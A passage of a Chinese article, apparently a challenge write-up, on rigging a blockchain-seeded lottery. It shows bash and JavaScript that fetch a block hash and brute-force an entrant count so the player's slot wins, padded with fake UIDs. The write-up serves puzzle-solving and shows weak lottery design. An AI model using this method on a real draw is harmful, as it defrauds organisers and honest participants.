14px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;">blockNumber=$(curl -s -H <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#39;Content-type: application/json&#39;</span> --data-raw <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#39;{&#34;body&#34;:{}}&#39;</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#39;<a href="https://api.upowerchain.com/apis/v1alpha1/statistics/overview" target="_blank">https://api.upowerchain.com/apis/v1alpha1/statistics/overview</a>&#39;</span> | jq -r <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#39;.blockHeight&#39;</span>)<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>blockHash=$(curl -s -H <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#39;Content-type: application/json&#39;</span> --data-raw <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#39;{&#34;number&#34;:&#34;&#39;</span><span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">$blockNumber</span><span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#39;&#34;}&#39;</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#39;<a href="https://api.upowerchain.com/apis/v1alpha1/block/get" target="_blank">https://api.upowerchain.com/apis/v1alpha1/block/get</a>&#39;</span> | jq -r <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#39;.data.blockHash&#39;</span>)<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>userCount=10001<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>userIndex=$(python -c <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;print(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">$blockHash</span> % <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">$userCount</span>)&#34;</span>)<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/><span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 166, 87);">echo</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">$userIndex</span></code></pre><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">以之前中奖的为例，<code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">blockNumber=29443498</code>，可以看到</p><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">blockHash=0xed10c6b62d163279cfff03e39a8017e303a03d48a6a314d24c47596b998ae30b</code></p><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">参与抽奖人数是10071</p><figure style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;line-height: 1.75;color: rgb(63, 63, 63);"><img alt="案例" class="rich_pages wxw-img" data-imgfileid="100003028" data-ratio="0.09907407407407408" title="null" data-type="png" data-w="1080" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;line-height: 1.75;margin: 0.1em auto 0.5em;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4171b8a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MU3QXSQXNQcljwicmD7ziaNQca3DGoU2PxQ6RrFc6o5J1A7ba55O2QYUjVIchY7jdNh8ALccibAibZWOw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">那么我们可以通过计算，获取中奖人的序号</p><pre style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;"><span hidden="" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding-top: 10px;padding-right: 14px;padding-left: 14px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;">blockHash = <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">0xed10c6b62d163279cfff03e39a8017e303a03d48a6a314d24c47596b998ae30b</span><br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>userCount=<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">10071</span><br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/><span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 166, 87);">print</span>(blockHash % userCount)</code></pre><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">验证结果是3000。</p><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">blockNumber </code>在每次开奖前也给出了，那么可以根据<code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">blockNumber</code>请求API获取<code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">blockHash</code>。知道<code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">blockHash</code>后，如果可以控制参与抽奖的人数，那么获奖人员的编号也能够确定了。</p><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">所以之前的难度是比较大的，都是真人玩家，不好确定参与人数和位置。后面降低了难度，分IP抽奖，互不干扰。</p><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">另外需要注意的是，每次抽奖系统会自动添加 9980 个机器人，所以如果参与抽奖的话，编号是从9980开始的。因此需要找到中奖序号大于等于9980的，才能保证自己中奖。而且满10000人才开奖，所以还要添加虚假的UID，来凑人数。</p><h2 style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;">0x02 解题</h2><blockquote style="border-width: 0px 0px 0px 4px;border-top-style: solid;border-right-style: solid;border-bottom-style: solid;border-left-color: rgb(0, 152, 116);margin-top: 0px;line-height: 1.75;font-size: 14px;font-style: italic;padding: 1em 1em 1em 2em;border-radius: 6px;color: rgba(0, 0, 0, 0.6);background: rgb(247, 247, 247);box-shadow: rgba(0, 0, 0, 0.05) 0px 4px 6px;"><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(63, 63, 63);">由于现在答题地址下线，所以以之前已开奖的来模拟答题。找到一个中奖序号大于等于9980的blockNumber。</p></blockquote><figure style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;line-height: 1.75;color: rgb(63, 63, 63);"><img alt="案例" class="rich_pages wxw-img" data-imgfileid="100003030" data-ratio="0.22962962962962963" title="null" data-type="png" data-w="1080" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;line-height: 1.75;margin: 0.1em auto 0.5em;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=776ce325&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MU3QXSQXNQcljwicmD7ziaNQcpMy2g3R3Nw9OK72IoRGNVQhgHZ45Sda8q361daV5wYfBdq0X84ic16w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里的blockNumber为29439513，假如参与抽奖的人数是10000-10300，主要代码</p><pre style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;"><span hidden="" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding-top: 10px;padding-right: 14px;padding-left: 14px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;"><span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">async</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">function</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">findWinningUserCount</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));">blockNumber</span>) {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>        <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">try</span> {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(139, 148, 158);">// 获取指定区块的哈希</span><br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">const</span> r = <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">await</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">fetch</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#39;<a href="https://api.upowerchain.com/apis/v1alpha1/block/get" target="_blank">https://api.upowerchain.com/apis/v1alpha1/block/get</a>&#39;</span>, {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">method</span>: <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#39;POST&#39;</span>,<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">headers</span>: {<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#39;Content-Type&#39;</span>: <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#39;application/json&#39;</span>},<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">body</span>: <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">JSON</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">stringify</span>({<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;number&#34;</span>: blockNumber.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">toString</span>()})<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            });<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">const</span> data = <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">await</span> r.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">json</span>();<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">log</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;\n=== API响应 ===&#34;</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">log</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">JSON</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">stringify</span>(data, <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">null</span>, <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">2</span>));<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">if</span> (!data || !data.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));">data</span> || !data.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));">data</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));">blockHash</span>) {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">error</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;无效的API响应:&#34;</span>, data);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">return</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">null</span>;<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            }<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">const</span> hash = data.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));">data</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));">blockHash</span>;<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">const</span> hashWithPrefix = hash.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">startsWith</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#39;0x&#39;</span>) ? hash : <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#39;0x&#39;</span> + hash;<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">log</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">`\n区块哈希: <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(201, 209, 217);">${hashWithPrefix}</span>`</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(139, 148, 158);">//从10000开始尝试不同的userCount</span><br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">for</span> (<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">let</span> userCount = <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">10000</span>; userCount &lt;= <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">10300</span>; userCount++) {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">const</span> result = <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">BigInt</span>(hashWithPrefix) % <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">BigInt</span>(userCount);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                <br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">if</span>(result &gt;= <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">9980n</span>) {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">const</span> position = <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">Number</span>(result - <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">9980n</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">log</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">`\n!!! FOUND WINNING COMBINATION !!!`</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">log</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">`Block: <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(201, 209, 217);">${blockNumber}</span>`</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">log</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">`Hash: <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(201, 209, 217);">${hashWithPrefix}</span>`</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">log</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">`User Count: <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(201, 209, 217);">${userCount}</span>`</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">log</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">`Absolute Position: <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(201, 209, 217);">${result}</span>`</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">log</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">`Relative Position: <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(201, 209, 217);">${position}</span>\n`</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">return</span> {position, userCount};<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                }<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            }<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">log</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;\n没有找到合适的参与人数组合&#34;</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">return</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">null</span>;<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>        } <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">catch</span>(e) {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">error</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">`\n[错误] 检查区块 <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(201, 209, 217);">${blockNumber}</span> 失败:`</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">error</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;错误详情:&#34;</span>, e);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">error</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;错误堆栈:&#34;</span>, e.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));">stack</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">return</span> <span style="border-width: 0px;border-style: solid;border-color: 